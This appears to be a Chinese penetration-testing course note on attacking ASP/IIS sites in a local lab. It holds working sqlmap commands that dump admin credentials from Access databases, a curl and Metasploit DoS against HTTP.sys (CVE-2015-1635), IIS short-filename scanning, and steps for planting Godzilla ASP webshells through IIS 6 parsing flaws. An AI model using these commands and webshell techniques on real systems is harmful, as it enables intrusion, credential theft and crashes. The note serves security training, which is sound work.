第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏
目录
一、ASP-SQL注入-Access数据库
1.解释
ACCESS数据库与常见的MySQL等数据库不同,它没有独立的管理账号密码,其核心架构由表名、列名(字段)和数据组成。这一特性导致在注入攻击中,通常需要通过字典猜解表名、列名,再进一步获取数据。虽然猜解过程相对直接,但可能因字典覆盖不全而出现猜解失败的情况。由于当前Access数据库的应用已较少,实际测试中多直接使用SQLMAP进行注入,其他手动猜解方法后续补充。
- mdb后缀是Access数据库的典型标识;
- 数据库的默认路径通常写在配置文件中,若未修改则可被利用。
# 使用sqlmap获取目标URL对应的数据库表名python sqlmap.py -u "" --tables# 获取admin表中的列名(字段)python sqlmap.py -u "" --columns -T admin# 导出admin表中指定列的数据python sqlmap.py -u "" --dump -C "" -T admin2.漏洞扫描
通过注入获取网站用户名和密码后,需进一步寻找后台登录地址,常用方法如下:
- 目录扫描:使用字典遍历网站目录,探测可能的后台路径(如/admin、/manage等);
- IIS短文件:利用IIS短文件漏洞探测隐藏的文件或目录名(如后台登录页的短文件名);
- 网站爬虫:通过爬虫分析网站架构,提取所有链接中的目录和文件路径,从中筛选后台地址。
3.区分好报错和容错

二、ASP-默认安装-数据库泄漏下载
1.ASP漏洞原因
- 多数ASP程序与ACCESS数据库搭配使用,而ACCESS数据库无需像MySQL那样单独配置连接服务,其路径直接在脚本文件中定义。若开发者未修改默认数据库路径,攻击者一旦获取完整路径,即可远程下载数据库文件,解密后获取敏感数据(如账号密码);
- Access数据库无需启动独立的数据库服务,通常直接存放在网站源码目录下。若搭建时未调整默认存放位置,攻击者可通过路径遍历等方式找到并下载。
三、ASP-IIS-CVE&短文件&解析&写入
1.HTTP.SYS(CVE-2015-1635)
-
漏洞描述
该漏洞存在于HTTP协议堆栈(HTTP.sys)中,当HTTP.sys未能正确解析特殊构造的HTTP请求时触发。成功利用后,攻击者可在系统账户上下文执行任意代码。 -
影响版本
Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2 -
漏洞利用条件
目标系统安装了IIS 6.0及以上版本,且操作系统属于上述影响范围。 -
漏洞复现
Terminal window # 启动metasploit框架msfconsole# 加载对应的漏洞利用模块(DOS攻击模块)use auxiliary/dos/http/ms15_034_ulonglongadd# 设置目标IPset rhosts xx.xx.xx.xx# 设置目标端口(通常为80)set rport xx# 执行攻击run
2.IIS短文件
-
漏洞描述
该漏洞源于HTTP请求中对旧DOS 8.3名称约定(SFN)的代字符(~)处理缺陷。攻击者可利用此漏洞获取Web根目录下本不应被访问的文件和文件夹名称,从而收集应用架构信息(如后台路径、数据库文件等)。 -
漏洞成因
为兼容16位MS-DOS程序,Windows会为长文件名(或文件夹名)生成对应的8.3短文件名(如“administrator”的短文件名为“ADMINI~1”)。通过dir /x命令可在Windows系统中查看短文件名。 -
应用场景
常用于获取后台登录路径、数据库文件位置、敏感配置文件等隐藏信息。 -
利用工具
3.IIS文件解析
- 漏洞成因
- IIS 6 解析漏洞
- 默认将
*.asp;.jpg格式的文件解析为ASP脚本; - 默认将
*.asp/目录下的所有文件解析为ASP脚本(如logo.asp;.jpg、xx.asp/logo.jpg)。
- 默认将
- IIS 7.x 解析漏洞
在文件路径后添加/xx.php时,会将整个路径(如/xx.jpg/xx.php)解析为PHP文件。
应用场景:结合文件上传漏洞,构造特殊文件名绕过上传检测,获取Webshell。
- IIS 6 解析漏洞
4.IIS写权限
当IIS版本≤6.0,且目录开启写入权限、启用WebDAV并设置为“允许”时,攻击者可能通过WebDAV协议上传恶意文件(如ASP木马),进而控制服务器。
参考利用:https://cloud.tencent.com/developer/article/2050105
四、环境复现
1.ASP-默认安装-MDB数据库泄漏下载
-
首次打开需将IP更改为本地IP才能访问

-
输入包含数据库路径的URL下载文件

-
打开下载的MDB数据库文件查看账号密码


-
根据源码信息尝试登录网站后台

-
防范措施:修改数据库文件名,并同步更新配置文件(如
include/conn.asp、conn.asp)中的路径


2.ASP-中间件-CVE&短文件&解析&写权限
-
HTTP.SYS
- 打开演示环境,用
ipconfig查看本机IP,在浏览器中输入IP确认IIS版本

- 漏洞验证命令(构造特殊Range头触发漏洞):
Terminal window # -v 显示详细信息;-H 添加请求头;Range头的值为超大整数,导致HTTP.sys处理异常curl -v IP -H "Host:irrelevant" -H "Range: bytes=0-18446744073709551615" - 使用metasploit测试:
Terminal window # 加载漏洞利用模块use auxiliary/dos/http/ms15_034_ulonglongadd# 设置目标Windows 7的IPset rhosts [Win7的IP]# 查看配置选项show options# 执行攻击(可能导致目标蓝屏)run
- 攻击成功后Win7系统蓝屏

- 打开演示环境,用
-
IIS-短文件
- 打开目标网站

- 使用IIS_shortname_Scanner工具探测:
Terminal window # 对目标URL进行短文件扫描python iis_shortname_scan.py http://192.168.163.133:88/
- 打开目标网站
-
IIS-文件解析
- 使用哥斯拉生成ASP格式木马

- 将生成的木马放入IIS网站目录

- 使用哥斯拉连接木马

- 修改文件名(如利用IIS 6解析漏洞改为
test.asp;.jpg),重新尝试连接

- 连接成功

- 创建
1.asp文件夹,将ASP后门放入该文件夹

- 利用IIS 6对
*.asp/目录的解析特性,用哥斯拉连接

- 使用哥斯拉生成ASP格式木马
3.ASP-SQL注入-SQLMAP使用&ACCESS注入
- 使用SQLMAP爆破数据库表名
Terminal window # 对目标URL的注入点(classid=3)进行表名爆破python .sqlmap.py -u "http://192.168.163.133:89/Pic.asp?classid=3" --tables - 检测到注入点

- SQLMAP提示是否使用字典爆破表名(Access无系统表,需字典猜解)

- 爆破到
admin表后可暂停,进行后续操作

- 爆破
admin表的列名(Terminal window # 对admin表的列名进行爆破python .sqlmap.py -u "http://192.168.163.133:89/Pic.asp?classid=3" --columns -T admin--columns:指定获取列名;-T:指定表名)


- 得到
username、ID、password列

- 导出
username和password列的数据(Terminal window # 导出admin表中username和password列的数据sqlmap -u "http://192.168.163.133:89/Pic.asp?classid=3" --dump -C "username,password" -T admin--dump:导出数据;-C:指定列名)

- 对导出的加密密码进行解密(如MD5解密)


- 结合短文件扫描结果,猜解后台目录名

- 猜测
upfile.asp为后台路径,成功访问

- 使用目录爆破工具扫描后台地址


- 输入账号密码登录后台

- 通过网站爬虫扫描所有链接,发现后台登录页


五、难点总结
- Access注入的猜解难度:Access数据库无系统表(如MySQL的
information_schema),需依赖字典猜解表名和列名,字典的完整性直接影响成功率,且猜解过程耗时较长。 - IIS版本差异导致的漏洞差异:IIS 6和IIS 7.x的解析漏洞原理不同,需根据目标版本选择对应利用方式(如IIS 6的
*.asp;.jpg与IIS 7.x的/xx.jpg/xx.php)。 - 短文件漏洞的探测效率:短文件猜解需逐个测试可能的字符,受网络环境和目标防护机制影响较大,可能被WAF拦截或因响应延迟导致误判。
- 数据库路径的获取:Access数据库泄漏依赖已知路径,而默认路径可能被修改,需结合配置文件泄露、目录扫描等多种方式综合判断。
- HTTP.SYS漏洞的利用限制:该漏洞属于DOS类型,虽能导致系统崩溃,但难以直接获取权限,且现代系统多已打补丁,实际利用场景有限。